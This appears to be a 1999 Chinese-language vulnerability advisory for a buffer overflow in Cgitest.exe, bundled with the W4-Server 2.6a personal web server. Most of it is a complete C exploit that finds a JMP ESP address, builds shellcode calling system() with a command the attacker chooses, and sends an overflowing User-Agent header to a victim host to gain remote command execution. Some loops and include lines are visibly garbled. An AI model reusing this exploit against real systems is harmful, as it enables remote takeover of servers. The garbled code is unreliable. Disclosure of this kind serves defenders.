发布日期：1999-11-15
更新日期：1999-11-15

受影响系统：

Antelope Software W4-Server 2.6a/Win32
- Microsoft Windows 95

描述：

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随Antelope Software发行的W4-Server 32-bits个人webserver中的 Cgitest.exe包含一个漏洞。这个编译的CGI脚本在用户提供数据的时候没有进行边界检查，因而造成缓存溢出。


测试方法：

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警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

/*===============================================================
Cgitest.exe Exploit (Distributed with W4-Server2.6a/32-bits)
The Shadow Penguin Security (http://shadowpenguin.backsection.net)
Written by UNYUN (shadowpenguin@backsection.net)
=================================================================
*/

#include
#include
#include
#include

#define HTTP_PORT 80
#define MAXBUF 2600
#define RETADR 264
#define FAKEADR 256
#define JMPESP_1 0xff
#define JMPESP_2 0xe4
#define KERNEL_NAME "kernel32.dll"

unsigned char exploit_code[200]={
0xEB,0x4B,0x5B,0x53,0x32,0xE4,0x83,0xC3,
0x0B,0x4B,0x88,0x23,0xB8,0x50,0x77,0xF7,
0xBF,0xFF,0xD0,0x8B,0xD0,0x52,0x43,0x53,
0x52,0x32,0xE4,0x83,0xC3,0x06,0x88,0x23,
0xB8,0x28,0x6E,0xF7,0xBF,0xFF,0xD0,0x8B,
0xF0,0x5A,0x43,0x53,0x52,0x32,0xE4,0x83,
0xC3,0x04,0x88,0x23,0xB8,0x28,0x6E,0xF7,
0xBF,0xFF,0xD0,0x8B,0xF8,0x43,0x53,0x83,
0xC3,0x0B,0x32,0xE4,0x88,0x23,0xFF,0xD6,
0x33,0xC0,0x50,0xFF,0xD7,0xE8,0xB0,0xFF,
0xFF,0xFF,0x00};
unsigned char cmdbuf[200]="msvcrt.dll.system.exit.";


unsigned int search_mem(unsigned char *st,unsigned char *ed,
unsigned char c1,unsigned char c2)
{
unsigned char *p;
unsigned int adr;

for (p=st;p if (*p==c1 && *(p+1)==c2){
adr=(unsigned int)p;
if ((adr&0xff)==0) continue;
if (((adr>>8)&0xff)==0) continue;
if (((adr>>16)&0xff)==0) continue;
if (((adr>>24)&0xff)==0) continue;
return(adr);
}
return(0);
}

main(int argc,char *argv[])
{
SOCKET sock;
SOCKADDR_IN addr;
WSADATA wsa;
WORD wVersionRequested;
unsigned int i,kp,ip,p1,p2,p;
unsigned int pfakeadr,pretadr;
static unsigned char buf[MAXBUF],packetbuf[MAXBUF+1000],*q;
struct hostent *hs;
MEMORY_BASIC_INFORMATION meminfo;

if (argc<2){
printf("usage: %s VictimHost Command\n",argv[0]);
exit(1);
}
if ((void *)(kp=(unsigned int)LoadLibrary(KERNEL_NAME))==NULL){
printf("Can not find %s\n",KERNEL_NAME);
exit(1);
}

strcat(cmdbuf,argv[2]);

VirtualQuery((void *)kp,&meminfo,sizeof(MEMORY_BASIC_INFORMATION));
pfakeadr=pretadr=0;
for (i=0;i p=kp+i;
if ( ( p &0xff)==0
|| ((p>>8 )&0xff)==0
|| ((p>>16)&0xff)==0
|| ((p>>24)&0xff)==0) continue;
q=(unsigned char *)p;
if (pfakeadr==0 && *q%2==0) pfakeadr=p+4;
if (pretadr==0 && *q==JMPESP_1 && *(q+1)==JMPESP_2) pretadr=p;
if (pfakeadr!=0 && pretadr!=0) break;
}
printf("FAKEADR : %x\n",pfakeadr);
printf("RETADR : %x\n",pretadr);
if (pfakeadr==0 || pretadr==0){
printf("Can not find codes which are used by exploit.\n");
exit(1);
}

wVersionRequested = MAKEWORD( 2, 0 );
if (WSAStartup(wVersionRequested , &wsa)!=0){
printf("Winsock Initialization failed.\n"); return -1;
}
if ((sock=socket(AF_INET,SOCK_STREAM,0))==INVALID_SOCKET){
printf("Can not create socket.\n"); return -1;
}
addr.sin_family = AF_INET;
addr.sin_port = htons((u_short)HTTP_PORT);
if ((addr.sin_addr.s_addr=inet_addr(argv[1]))==-1){
if ((hs=gethostbyname(argv[1]))==NULL){
printf("Can not resolve specified host.\n"); return -1;
}
addr.sin_family = hs->h_addrtype;
memcpy((void *)&addr.sin_addr.s_addr,hs->h_addr,hs->h_length);
}
if (connect(sock,(LPSOCKADDR)&addr,sizeof(addr))==SOCKET_ERROR){
printf("Can not connect to specified host.\n"); return -1;
}
memset(buf,0x90,MAXBUF); buf[MAXBUF]=0;

ip=pfakeadr;
buf[FAKEADR ]=ip&0xff;
buf[FAKEADR+1]=(ip>>8)&0xff;
buf[FAKEADR+2]=(ip>>16)&0xff;
buf[FAKEADR+3]=(ip>>24)&0xff;

ip=pretadr;
buf[RETADR ]=ip&0xff;
buf[RETADR+1]=(ip>>8)&0xff;
buf[RETADR+2]=(ip>>16)&0xff;
buf[RETADR+3]=(ip>>24)&0xff;

strcat(exploit_code,cmdbuf);
p1=(unsigned int)LoadLibrary;
p2=(unsigned int)GetProcAddress;

exploit_code[0x0d]=p1&0xff;
exploit_code[0x0e]=(p1>>8)&0xff;
exploit_code[0x0f]=(p1>>16)&0xff;
exploit_code[0x10]=(p1>>24)&0xff;

exploit_code[0x21]=exploit_code[0x35]=p2&0xff;
exploit_code[0x22]=exploit_code[0x36]=(p2>>8)&0xff;
exploit_code[0x23]=exploit_code[0x37]=(p2>>16)&0xff;
exploit_code[0x24]=exploit_code[0x38]=(p2>>24)&0xff;

exploit_code[0x41]=strlen(argv[2]);
memcpy(buf+RETADR+4,exploit_code,strlen(exploit_code));

sprintf(packetbuf,"GET /cgi-bin/cgitest.exe\r\n");
send(sock,packetbuf,strlen(packetbuf),0);
sprintf(packetbuf,"User-Agent: %s\r\n\r\n",buf);
send(sock,packetbuf,strlen(packetbuf),0);
closesocket(sock);
printf("Done.\n");
return FALSE;
}


建议：

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暂无

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